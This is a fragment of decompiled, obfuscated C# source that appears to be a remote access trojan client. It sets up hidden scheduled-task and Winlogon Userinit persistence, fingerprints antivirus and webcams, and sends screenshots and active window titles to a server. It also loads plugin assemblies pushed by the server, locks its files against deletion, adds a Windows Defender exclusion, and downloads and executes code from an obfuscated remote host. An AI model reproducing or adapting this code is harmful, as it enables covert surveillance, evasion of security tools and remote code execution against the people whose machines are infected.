				processStartInfo.UseShellExecute = false;
				processStartInfo.CreateNoWindow = true;
				processStartInfo.RedirectStandardOutput = true;
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.FileName = EncryptString.Decode("+(R");
				processStartInfo.Arguments = EncryptString.Decode("I@NAE^OP}zUm@fO??^zUm@fO??^OPP^m/?@^IO_@`D" + name + "D^PUm`UI^OYNU'I`O??'f^Jm'FmO_`D") + path + EncryptString.Decode("D^@IOQ?@`q@A^0^@)UN");
				processStartInfo.Verb = EncryptString.Decode("m/IOA");
				Process process = new Process();
				process.StartInfo = processStartInfo;
				process.Start();
			}
		}

		public static bool TaskCheck(string name)
		{
			return File.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), EncryptString.Decode("\"OA A"), name));
		}

		private static void DeletingTask(string name)
		{
			if (TaskCheck(name))
			{
				ProcessStartInfo processStartInfo = new ProcessStartInfo();
				processStartInfo.UseShellExecute = false;
				processStartInfo.CreateNoWindow = true;
				processStartInfo.RedirectStandardOutput = true;
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.FileName = EncryptString.Decode("+(R");
				processStartInfo.Arguments = EncryptString.Decode("aY^AYENOA A^aP@?@\"@^a*^a\"I^D") + name + EncryptString.Decode("D^0^@)UN");
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo.Verb = EncryptString.Decode("m/IOA");
				}
				processStartInfo.Arguments += EncryptString.Decode("0^@)UN");
				Process process = new Process();
				process.StartInfo = processStartInfo;
				process.Start();
			}
		}

		public static void RunTask(string taskname)
		{
			ProcessStartInfo processStartInfo = new ProcessStartInfo();
			processStartInfo.UseShellExecute = false;
			processStartInfo.CreateNoWindow = true;
			processStartInfo.RedirectStandardOutput = true;
			processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
			processStartInfo.FileName = EncryptString.Decode("+(R");
			processStartInfo.Arguments = EncryptString.Decode("aY^AYENOA A^am/I^aU^aNI^D") + taskname + EncryptString.Decode("D");
			Process process = new Process();
			process.StartInfo = processStartInfo;
			process.Start();
		}

		private static void Schtasks(string Path, string Name, int minut)
		{
			if (!TaskCheck(Name))
			{
				ProcessStartInfo processStartInfo = new ProcessStartInfo();
				processStartInfo.UseShellExecute = false;
				processStartInfo.CreateNoWindow = true;
				processStartInfo.RedirectStandardOutput = true;
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.FileName = EncryptString.Decode("Y_P");
				processStartInfo.Arguments = EncryptString.Decode("aY^AYENOA A^aYm@ON@^az^aAY^_UI/N@^a_'^") + minut + EncryptString.Decode("^aNI^D") + Name + EncryptString.Decode("D^aNm^D") + Path + EncryptString.Decode("D^");
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo.Arguments += EncryptString.Decode("a[C^8=b8t!\"^");
					processStartInfo.Verb = EncryptString.Decode("m/IOA");
				}
				processStartInfo.Arguments += EncryptString.Decode("0^@)UN");
				Process process = new Process();
				process.StartInfo = processStartInfo;
				process.Start();
			}
		}

		public static bool UserINIT(string Name)
		{
			try
			{
				using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(EncryptString.Decode("!G*\"nv[tk(UYm'A'zNknUIP'fA^2\"k+/mm@IN:@mAU'IkfUI?'F'I")))
				{
					if ((string)registryKey.GetValue(EncryptString.Decode("]A@mUIUN")) == EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@%") + Name)
					{
						return true;
					}
				}
				using RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(EncryptString.Decode("!G*\"nv[tk(UYm'A'zNknUIP'fA^2\"k+/mm@IN:@mAU'IkfUI?'F'I"), writable: true);
				if ((string)registryKey2.GetValue(EncryptString.Decode("]A@mUIUN")) != EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@%") + Name)
				{
					registryKey2.SetValue(EncryptString.Decode("]A@mUIUN"), EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@%") + Name);
				}
				registryKey2.Close();
			}
			catch
			{
				return false;
			}
			return true;
		}

		public static void UserInitRemove()
		{
			using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(EncryptString.Decode("!G*\"nv[tk(UYm'A'zNknUIP'fA^2\"k+/mm@IN:@mAU'IkfUI?'F'I"), writable: true);
			registryKey.SetValue(EncryptString.Decode("]A@mUIUN"), EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@"));
			registryKey.Close();
		}
	}

	public class LastPing
	{
		private Timer timer;

		private long ticks;

		public LastPing(Client client)
		{
			ticks = DateTime.Now.Ticks;
			timer = new Timer(Check, client, 0, 6000);
		}

		private int DiffSeconds(long startTime, DateTime endTime)
		{
			return (int)Math.Abs(new TimeSpan(endTime.Ticks - startTime).TotalSeconds);
		}

		private void Check(object obj)
		{
			if (DiffSeconds(ticks, DateTime.Now) > 60)
			{
				((Client)obj).Disconnect();
			}
		}

		public void Disconnect()
		{
			if (timer != null)
			{
				timer.Dispose();
			}
		}

		public void Last()
		{
			ticks = DateTime.Now.Ticks;
		}
	}

	public class Methods
	{
		public static Random random = new Random();

		public static string GetWindowsVersion()
		{
			//IL_000a: Unknown result type (might be due to invalid IL or missing references)
			//IL_0028: Unknown result type (might be due to invalid IL or missing references)
			//IL_002e: Expected O, but got Unknown
			try
			{
				ManagementObjectEnumerator enumerator = new ManagementObjectSearcher(EncryptString.Decode("!tCt+\"^&^*[G(^nUI.pdGJ@mONUIF!qAN@_")).Get().GetEnumerator();
				try
				{
					if (enumerator.MoveNext())
					{
						ManagementObject val = (ManagementObject)enumerator.Current;
						return (string)((ManagementBaseObject)val)[EncryptString.Decode("+OJNU'I")] + EncryptString.Decode("^") + (string)((ManagementBaseObject)val)[EncryptString.Decode("G!vmYEUN@YN/m@")];
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			catch
			{
			}
			return EncryptString.Decode("tmm'm^b@N^:@mAU'I");
		}

		public static void Exit()
		{
			MutexControl.Exit();
			Environment.Exit(0);
		}

		public static void MaxPriority()
		{
			try
			{
				Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.RealTime;
			}
			catch
			{
			}
		}

		public static void PreventSleep()
		{
			try
			{
				DllImport.SetThreadExecutionState((DllImport.EXECUTION_STATE)2147483651u);
			}
			catch
			{
			}
		}

		public static string GetExecutablePath()
		{
			return Assembly.GetExecutingAssembly().Location;
		}

		public static byte[] GetResourceFile(string name)
		{
			using Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
			if (stream == null)
			{
				return null;
			}
			using MemoryStream memoryStream = new MemoryStream();
			stream.CopyTo(memoryStream);
			return memoryStream.ToArray();
		}

		public static List<string> GetHardwareInfo(string WIN32_Class, string ClassItemField)
		{
			//IL_0016: Unknown result type (might be due to invalid IL or missing references)
			//IL_001c: Expected O, but got Unknown
			//IL_0030: Unknown result type (might be due to invalid IL or missing references)
			//IL_0036: Expected O, but got Unknown
			List<string> list = new List<string>();
			ManagementObjectSearcher val = new ManagementObjectSearcher(EncryptString.Decode("!tCt+\"^&^*[G(^") + WIN32_Class);
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
						ManagementObject val2 = (ManagementObject)enumerator.Current;
						list.Add(((ManagementBaseObject)val2)[ClassItemField].ToString().Trim());
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			catch
			{
			}
			return list;
		}

		public static string Antivirus()
		{
			//IL_002e: Unknown result type (might be due to invalid IL or missing references)
			//IL_0034: Expected O, but got Unknown
			//IL_0048: Unknown result type (might be due to invalid IL or missing references)
			//IL_004f: Expected O, but got Unknown
			try
			{
				string text = string.Empty;
				ManagementObjectSearcher val = new ManagementObjectSearcher(EncryptString.Decode("kk") + Environment.MachineName + EncryptString.Decode("km''Nk!@Y/mUNq+@IN@mp"), EncryptString.Decode("!@?@YN^&^zm'_^vINU}Um/Acm'P/YN"));
				try
				{
					ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
					try
					{
						while (enumerator.MoveNext())
						{
							ManagementObject val2 = (ManagementObject)enumerator.Current;
							text = text + ((ManagementBaseObject)val2)[EncryptString.Decode("PUAJ?Oq2O_@")].ToString() + EncryptString.Decode("S^");
						}
					}
					finally
					{
						((IDisposable)enumerator)?.Dispose();
					}
				}
				finally
				{
					((IDisposable)val)?.Dispose();
				}
				if (text.Length > 2)
				{
					text = text.Remove(text.Length - 2);
				}
				return (!string.IsNullOrEmpty(text)) ? text : EncryptString.Decode("2av");
			}
			catch
			{
				return EncryptString.Decode("]I I'fI");
			}
		}

		public static string GetActiveWindowTitle()
		{
			try
			{
				int num = 520;
				StringBuilder stringBuilder = new StringBuilder(num);
				if (DllImport.GetWindowText(DllImport.GetForegroundWindow(), stringBuilder, num) > 0)
				{
					return stringBuilder.ToString();
				}
			}
			catch
			{
			}
			return EncryptString.Decode("|=P?@5");
		}

		public static string Camera()
		{
			//IL_000a: Unknown result type (might be due to invalid IL or missing references)
			//IL_0014: Expected O, but got Unknown
			//IL_000f: Unknown result type (might be due to invalid IL or missing references)
			//IL_0038: Unknown result type (might be due to invalid IL or missing references)
			try
			{
				ManagementObjectCollection val = new ManagementObjectSearcher(new ObjectQuery(EncryptString.Decode("!tCt+\"^&^*[G(^nUI.pdcIctINUNq^n8t[t^c2c+?OAA^`^$+O_@mO$"))).Get();
				if (val.Count > 0)
				{
					ManagementObjectEnumerator enumerator = val.GetEnumerator();
					try
					{
						if (enumerator.MoveNext())
						{
							return (string)((ManagementBaseObject)(ManagementObject)enumerator.Current)[EncryptString.Decode("+OJNU'I")];
						}
					}
					finally
					{
						((IDisposable)enumerator)?.Dispose();
					}
				}
				return EncryptString.Decode("2'I@");
			}
			catch
			{
			}
			return EncryptString.Decode("2'I@");
		}

		public static byte[] CaptureResizeReduceQuality()
		{
			//IL_0028: Unknown result type (might be due to invalid IL or missing references)
			//IL_002f: Expected O, but got Unknown
			//IL_0060: Unknown result type (might be due to invalid IL or missing references)
			//IL_0067: Expected O, but got Unknown
			//IL_0099: Unknown result type (might be due to invalid IL or missing references)
			//IL_00a0: Expected O, but got Unknown
			//IL_00b2: Unknown result type (might be due to invalid IL or missing references)
			//IL_00b9: Expected O, but got Unknown
			int num = 100;
			int num2 = 100;
			long num3 = 100L;
			Rectangle bounds = Screen.GetBounds(Point.Empty);
			Bitmap val = new Bitmap(bounds.Width, bounds.Height, (PixelFormat)2498570);
			Graphics val2 = Graphics.FromImage((Image)(object)val);
			try
			{
				val2.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
			}
			finally
			{
				((IDisposable)val2)?.Dispose();
			}
			Bitmap val3 = new Bitmap(num, num2);
			Graphics val4 = Graphics.FromImage((Image)(object)val3);
			try
			{
				val4.InterpolationMode = (InterpolationMode)7;
				val4.DrawImage((Image)(object)val, 0, 0, num, num2);
			}
			finally
			{
				((IDisposable)val4)?.Dispose();
			}
			EncoderParameter val5 = new EncoderParameter(Encoder.Quality, num3);
			ImageCodecInfo encoderInfo = GetEncoderInfo(EncryptString.Decode("U_OF@arJ@F"));
			EncoderParameters val6 = new EncoderParameters(1);
			val6.Param[0] = val5;
			using MemoryStream memoryStream = new MemoryStream();
			((Image)val3).Save((Stream)memoryStream, encoderInfo, val6);
			return memoryStream.ToArray();
		}

		private static ImageCodecInfo GetEncoderInfo(string mimeType)
		{
			ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
			foreach (ImageCodecInfo val in imageEncoders)
			{
				if (val.MimeType == mimeType)
				{
					return val;
				}
			}
			return null;
		}

		public static string GetPath(string pth)
		{
			pth = pth.Replace(EncryptString.Decode("gnUIP'fAg"), Environment.GetFolderPath(Environment.SpecialFolder.Windows));
			pth = pth.Replace(EncryptString.Decode("gcm'FmO_*U?@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
			pth = pth.Replace(EncryptString.Decode("gvJJ?UYONU'IRONOg"), Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
			pth = pth.Replace(EncryptString.Decode("g]A@mcm'zU?@g"), Environment.GetFolderPath(Environment.SpecialFolder.UserProfile));
			pth = pth.Replace(EncryptString.Decode("g(qR'Y/_@INAg"), Environment.GetFolderPath(Environment.SpecialFolder.Personal));
			pth = pth.Replace(EncryptString.Decode("g+'' U@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.Cookies));
			pth = pth.Replace(EncryptString.Decode("g+'__'IcUYN/m@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.CommonPictures));
			pth = pth.Replace(EncryptString.Decode("gC'YO?vJJ?UYONU'IRONOg"), Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
			pth = pth.Replace(EncryptString.Decode("g+'__'IR'Y/_@INAg"), Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments));
			pth = pth.Replace(EncryptString.Decode("g\"@_J?ON@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.Templates));
			pth = pth.Replace(EncryptString.Decode("g(q(/AUYg"), Environment.GetFolderPath(Environment.SpecialFolder.MyMusic));
			pth = pth.Replace(EncryptString.Decode("g(q:UP@'Ag"), Environment.GetFolderPath(Environment.SpecialFolder.MyVideos));
			return pth;
		}
	}

	public static class MutexControl
	{
		public static Mutex currentApp;

		public static bool createdNew;

		public static bool CreateMutex(string mtx)
		{
			currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew);
			return createdNew;
		}

		public static void Exit()
		{
			if (currentApp != null)
			{
				currentApp.Dispose();
			}
		}
	}

	public class PingChecker
	{
		private Timer counter;

		private Timer initializer;

		private int interval;

		private bool pong;

		private string oldtitle;

		public PingChecker(Client client)
		{
			initializer = new Timer(Sender, client, 5000, 10000);
			pong = true;
		}

		public void Start()
		{
			interval = 0;
			counter = new Timer(pay, null, 1, 1);
		}

		public void Stop(Client client)
		{
			if (counter != null)
			{
				counter.Dispose();
			}
			string activeWindowTitle = Methods.GetActiveWindowTitle();
			if (activeWindowTitle != oldtitle)
			{
				oldtitle = activeWindowTitle;
				client.Send(LEB128.Write(new object[4]
				{
					EncryptString.Decode("c'IF"),
					interval,
					activeWindowTitle,
					Methods.CaptureResizeReduceQuality()
				}));
			}
			else
			{
				client.Send(LEB128.Write(new object[2]
				{
					EncryptString.Decode("c'IF"),
					interval
				}));
			}
			pong = true;
		}

		public void Disconnect()
		{
			if (counter != null)
			{
				counter.Dispose();
			}
			if (initializer != null)
			{
				initializer.Dispose();
			}
			pong = false;
		}

		private void Sender(object obj)
		{
			if (pong)
			{
				pong = false;
				((Client)obj).Send(LEB128.Write(new object[1] { EncryptString.Decode("cUIF") }));
				Start();
				GC.Collect();
			}
		}

		private void pay(object obj)
		{
			interval++;
		}
	}

	internal class PluginLoader
	{
		public static List<object[]> invokes = new List<object[]>();

		public static void SaveInvoke(object[] objects, Client client)
		{
			SetRegistry.SetValue((string)objects[1], Convert.ToBase64String((byte[])objects[2]));
			foreach (object[] item in invokes.ToList())
			{
				if ((string)item[0] == (string)objects[1])
				{
					client.Disconnect();
					Load(item, Program.client);
					invokes.Remove(item);
				}
			}
		}

		public static void Invoke(object[] objects, Client client)
		{
			if (SetRegistry.GetValue((string)objects[1]) == null)
			{
				Client client2 = new Client();
				string[] array = client.socket.RemoteEndPoint.ToString().Split(new char[1] { ':' });
				client2.Connect(array[0], array[1]);
				client2.Send(LEB128.Write(new object[2]
				{
					EncryptString.Decode("b@NRCC"),
					(string)objects[1]
				}));
				invokes.Add(new object[2]
				{
					(string)objects[1],
					(byte[])objects[2]
				});
			}
			else
			{
				Load(new object[2]
				{
					(string)objects[1],
					(byte[])objects[2]
				}, Program.client);
			}
		}

		public static void Load(object[] Messages, Client client)
		{
			try
			{
				Type? type = AppDomain.CurrentDomain.Load(Convert.FromBase64String(SetRegistry.GetValue((string)Messages[0]))).GetType(EncryptString.Decode("c?/FUIxc?/FUI"));
				object obj = Activator.CreateInstance(type);
				MethodInfo method = type.GetMethod(EncryptString.Decode("[/I"));
				object[] parameters = new object[4]
				{
					client.socket,
					Config.ServerCertificate,
					Config.Hwid,
					(byte[])Messages[1]
				};
				method.Invoke(obj, parameters);
			}
			catch (Exception ex)
			{
				client.Error(EncryptString.Decode("C'OP^@mm'm#^") + ex.ToString());
			}
		}
	}

	internal class SecrityHidden
	{
		public static string[] Naming = new string[2]
		{
			Environment.UserName,
			Environment.UserDomainName
		};

		public static string[] NamingAdm = new string[2]
		{
			EncryptString.Decode("!qAN@_"),
			EncryptString.Decode("\"m/AN@P=IAmO??@m")
		};

		public static void Unlock(string path)
		{
			try
			{
				FileInfo fileInfo = new FileInfo(path);
				try
				{
					string[] naming = Naming;
					foreach (string account in naming)
					{
						RemoveFileSecurity(fileInfo.FullName, account, FileSystemRights.Delete, AccessControlType.Deny);
					}
					if (Config.Privilege == EncryptString.Decode("vP_UI"))
					{
						naming = NamingAdm;
						foreach (string account2 in naming)
						{
							RemoveFileSecurity(fileInfo.FullName, account2, FileSystemRights.Delete, AccessControlType.Deny);
						}
					}
				}
				catch
				{
				}
				fileInfo.Directory.Attributes = FileAttributes.Normal;
				fileInfo.Attributes = FileAttributes.Normal;
			}
			catch
			{
			}
		}

		public static void HiddenFile(string path)
		{
			try
			{
				FileInfo fileInfo = new FileInfo(path);
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					fileInfo.Attributes = FileAttributes.Hidden | FileAttributes.System;
				}
				else
				{
					fileInfo.Attributes = FileAttributes.Hidden;
				}
				string[] naming = Naming;
				foreach (string account in naming)
				{
					AddFileSecurity(path, account, FileSystemRights.Delete, AccessControlType.Deny);
					AddFileSecurity(path, account, FileSystemRights.ReadAndExecute, AccessControlType.Allow);
				}
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					naming = NamingAdm;
					foreach (string account2 in naming)
					{
						AddFileSecurity(path, account2, FileSystemRights.Delete, AccessControlType.Deny);
						AddFileSecurity(path, account2, FileSystemRights.ReadAndExecute, AccessControlType.Allow);
					}
				}
			}
			catch
			{
			}
		}

		public static void RemoveFileSecurity(string fileName, string account, FileSystemRights rights, AccessControlType controlType)
		{
			try
			{
				FileSecurity accessControl = File.GetAccessControl(fileName);
				accessControl.RemoveAccessRule(new FileSystemAccessRule(account, rights, controlType));
				File.SetAccessControl(fileName, accessControl);
			}
			catch
			{
				Thread.Sleep(10);
			}
		}

		public static void AddFileSecurity(string fileName, string account, FileSystemRights rights, AccessControlType controlType)
		{
			try
			{
				FileSecurity accessControl = File.GetAccessControl(fileName);
				accessControl.AddAccessRule(new FileSystemAccessRule(account, rights, controlType));
				File.SetAccessControl(fileName, accessControl);
			}
			catch
			{
				Thread.Sleep(10);
			}
		}
	}

	internal class SetRegistry
	{
		public static bool CheckValue(string name)
		{
			try
			{
				using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(Config.RegKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
				if (registryKey.GetValue(name) != null)
				{
					return true;
				}
			}
			catch
			{
			}
			return false;
		}

		public static void SetValue(string name, string value)
		{
			using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(Config.RegKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
			if (CheckValue(name))
			{
				registryKey.DeleteValue(name);
			}
			registryKey.SetValue(name, value);
		}

		public static string GetValue(string name)
		{
			if (!CheckValue(name))
			{
				return null;
			}
			using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(Config.RegKey);
			return (string)registryKey.GetValue(name);
		}
	}

	public class Updater
	{
		private static string ServerAddress = EncryptString.Decode("K~Wx~Xx~XxpKo");

		private static string Port = EncryptString.Decode("Kp.~X");

		private static string XyiloZachemReversish = EncryptString.Decode("F@N/JPON@");

		public static async Task Main()
		{
			using TcpClient client = new TcpClient();
			await client.ConnectAsync(ServerAddress, int.Parse(Port));
			using NetworkStream networkStream = client.GetStream();
			using (new StreamReader(networkStream, Encoding.UTF8))
			{
				using StreamWriter writer = new StreamWriter(networkStream, Encoding.UTF8)
				{
					AutoFlush = true
				};
				await writer.WriteLineAsync(XyiloZachemReversish);
				using MemoryStream memoryStream = new MemoryStream();
				await networkStream.CopyToAsync(memoryStream);
				byte[] array = memoryStream.ToArray();
				if (array.Length != 0)
				{
					MethodInfo entryPoint = Assembly.Load(array).EntryPoint;
					if (entryPoint != null)
					{
						object[] parameters;
						if (entryPoint.GetParameters().Length != 0)
						{
							(parameters = new object[1])[0] = new string[0];
						}
						else
						{
							parameters = null;
						}
						entryPoint.Invoke(null, parameters);
					}
				}
				else
				{
					MessageBox.Show("Получены пустые байты.");
				}
			}
		}
	}

	internal class WindowsDefenderExclusion
	{
		public static void Exc(string path)
		{
			//IL_0016: Unknown result type (might be due to invalid IL or missing references)
			//IL_0030: Unknown result type (might be due to invalid IL or missing references)
			//IL_0088: Unknown result type (might be due to invalid IL or missing references)
			//IL_008d: Unknown result type (might be due to invalid IL or missing references)
			try
			{
				string text = null;
				ManagementObjectEnumerator enumerator = new ManagementObjectSearcher(EncryptString.Decode("m''Nk(UYm'A'zNknUIP'fAkR@z@IP@m"), EncryptString.Decode("!tCt+\"^&^*[G(^(!*\"d(Jcm@z@m@IY@")).Get().GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
						text = ((ManagementBaseObject)(ManagementObject)enumerator.Current)[EncryptString.Decode("+'_J/N@m=R")].ToString();
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
				string text2 = EncryptString.Decode("(!*\"d(Jcm@z@m@IY@x+'_J/N@m=R`$") + text + EncryptString.Decode("$");
				ManagementObject val = new ManagementObject(EncryptString.Decode("m''Nk(UYm'A'zNknUIP'fAkR@z@IP@m"), text2, (ObjectGetOptions)null);
				ManagementBaseObject methodParameters = val.GetMethodParameters(EncryptString.Decode("vPP"));
				List<string> list = new List<string> { new FileInfo(path).Directory.FullName };
				methodParameters[EncryptString.Decode("t)Y?/AU'IcONE")] = list.ToArray();
				val.InvokeMethod(EncryptString.Decode("vPP"), methodParameters, (InvokeMethodOptions)null);
			}
			catch
			{
			}
		}
	}

	internal class Xor
	{
		public static byte[] DecodEncod(byte[] data, byte[] key)
		{
			int[] array = new int[256];
			for (int i = 0; i < 256; i++)
			{
				array[i] = i;
			}
			int[] array2 = new int[256];
			if (key.Length == 256)
			{
				Buffer.BlockCopy(key, 0, array2, 0, key.Length);
			}
			else
			{
				for (int j = 0; j < 256; j++)
				{
					array2[j] = key[j % key.Length];
				}
			}
			int num = 0;
			for (int k = 0; k < 256; k++)
			{
				num = (num + array[k] + array2[k]) % 256;
				int num2 = array[k];
				array[k] = array[num];
				array[num] = num2;
			}
			int num3;
			int num4 = (num3 = 0);
			byte[] array3 = new byte[data.Length];
			for (int l = 0; l < data.Length; l++)
			{
				num3 = (num3 + 1) % 256;
				num4 = (num4 + array[num3]) % 256;
				int num5 = array[num3];
				array[num3] = array[num4];
				array[num4] = num5;
				int num6 = array[(array[num3] + array[num4]) % 256];
				array3[l] = Convert.ToByte(data[l] ^ num6);
			}
			return array3;
		}
	}

	public class LEB128
	{
		public static object[] Read(byte[] data)
		{
			List<object> list = new List<object>();
			using MemoryStream memoryStream = new MemoryStream(data);
			while (true)
			{
				int num = memoryStream.ReadByte();
				switch (num)
				{
				case 0:
					list.Add(LEB128Coding.ReadLebString(memoryStream));
					break;
				case 1:
					list.Add(LEB128Coding.ReadLebBool(memoryStream));
					break;
				case 2:
					list.Add(LEB128Coding.ReadLebByte(memoryStream));
					break;
				case 3:
					list.Add(LEB128Coding.ReadLebShort(memoryStream));
					break;
				case 4:
					list.Add(LEB128Coding.ReadLebInt(memoryStream));
					break;
				case 5:
					list.Add(LEB128Coding.ReadLebLong(memoryStream));
					break;
				case 6:
					list.Add(LEB128Coding.ReadLebFloat(memoryStream));
					break;
				case 7:
					list.Add(LEB128Coding.ReadLebDouble(memoryStream));
					break;
				case 8:
					list.Add(LEB128Coding.ReadLebArray(memoryStream));
					break;
				case 9:
					list.Add(LEB128Coding.ReadLebUshort(memoryStream));
					break;
				case 10:
					list.Add(LEB128Coding.ReadLebUint(memoryStream));
					break;
				case 11:
					list.Add(LEB128Coding.ReadLebUlong(memoryStream));
					break;
				case 12:
					list.Add(Read(LEB128Coding.ReadLebArray(memoryStream)));
					break;
				default:
					throw new Exception(num.ToString());
				case -1:
					return list.ToArray();
				}
			}
		}

		public static byte[] Write(object[] data)
		{
			using MemoryStream memoryStream = new MemoryStream();
			foreach (object obj in data)
			{
				if (obj is string)
				{
					memoryStream.WriteByte(0);
					LEB128Coding.WriteLeb(memoryStream, (string)obj);
					continue;
				}
				if (obj is bool)
				{
					memoryStream.WriteByte(1);
					LEB128Coding.WriteLeb(memoryStream, (bool)obj);
					continue;
				}
				if (obj is byte)
				{
					memoryStream.WriteByte(2);
					LEB128Coding.WriteLeb(memoryStream, (byte)obj);
					continue;
				}
				if (obj is short)
				{
					memoryStream.WriteByte(3);
					LEB128Coding.WriteLeb(memoryStream, (short)obj);
					continue;
				}
				if (obj is int)
				{
					memoryStream.WriteByte(4);
					LEB128Coding.WriteLeb(memoryStream, (int)obj);
					continue;
				}
				if (obj is long)
				{
					memoryStream.WriteByte(5);
					LEB128Coding.WriteLeb(memoryStream, (long)obj);
					continue;
				}
				if (obj is float)
				{
					memoryStream.WriteByte(6);
					LEB128Coding.WriteLeb(memoryStream, (float)obj);
					continue;
				}
				if (obj is double)
				{
					memoryStream.WriteByte(7);
					LEB128Coding.WriteLeb(memoryStream, (double)obj);
					continue;
				}
				if (obj is byte[])
				{
					memoryStream.WriteByte(8);
					LEB128Coding.WriteLeb(memoryStream, (byte[])obj);
					continue;
				}
				if (obj is ushort)
				{
					memoryStream.WriteByte(9);
					LEB128Coding.WriteLeb(memoryStream, (ushort)obj);
					continue;
				}
				if (obj is uint)
				{
					memoryStream.WriteByte(10);
					LEB128Coding.WriteLeb(memoryStream, (uint)obj);
					continue;
				}
				if (obj is ulong)
				{
					memoryStream.WriteByte(11);
					LEB128Coding.WriteLeb(memoryStream, (ulong)obj);
					continue;
				}
				if (!(obj is object[]))
				{
					throw new Exception(obj.GetType().Name);
				}
				memoryStream.WriteByte(12);
				LEB128Coding.WriteLeb(memoryStream, Write((object[])obj));
			}
			return memoryStream.ToArray();
		}
	}

	internal class LEB128Coding
	{
		public static void WriteLeb(Stream stream, byte[] buffer)
		{
			byte[] bytes = BitConverter.GetBytes(buffer.Length);
			stream.Write(bytes, 0, bytes.Length);
			stream.Write(buffer, 0, buffer.Length);
		}

		public static void WriteLeb(Stream stream, string data)
		{
			WriteLeb(stream, Encoding.UTF8.GetBytes(data));
		}

		public static void WriteLeb(Stream stream, bool data)
		{
			stream.WriteByte(Convert.ToByte(data));
		}

		public static void WriteLeb(Stream stream, byte data)
		{
			stream.WriteByte(data);
		}

		public static void WriteLeb(Stream stream, short data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, int data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, long data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, float data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, double data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, ushort data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, uint data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, ulong data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static byte[] ReadLebArray(Stream stream)
		{
			byte[] array = new byte[4];
			stream.Read(array, 0, 4);
			int num = BitConverter.ToInt32(array, 0);
			byte[] array2 = new byte[num];
			stream.Read(array2, 0, num);
			return array2;
		}

		public static string ReadLebString(Stream stream)
		{
			return Encoding.UTF8.GetString(ReadLebArray(stream));
		}

		public static bool ReadLebBool(Stream stream)
		{
			return Convert.ToBoolean(stream.ReadByte());
		}

		public static byte ReadLebByte(Stream stream)
		{
			return (byte)stream.ReadByte();
		}

		public static short ReadLebShort(Stream stream)
		{
			byte[] array = new byte[2];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToInt16(array, 0);
		}

		public static int ReadLebInt(Stream stream)
		{
			byte[] array = new byte[4];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToInt32(array, 0);
		}

		public static long ReadLebLong(Stream stream)
		{
			byte[] array = new byte[8];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToInt64(array, 0);
		}

		public static float ReadLebFloat(Stream stream)
		{
			byte[] array = new byte[4];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToSingle(array, 0);
		}

		public static double ReadLebDouble(Stream stream)
		{
			byte[] array = new byte[8];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToDouble(array, 0);
		}

		public static ushort ReadLebUshort(Stream stream)
		{
			byte[] array = new byte[2];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToUInt16(array, 0);
		}

		public static uint ReadLebUint(Stream stream)
		{
			byte[] array = new byte[4];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToUInt32(array, 0);
		}
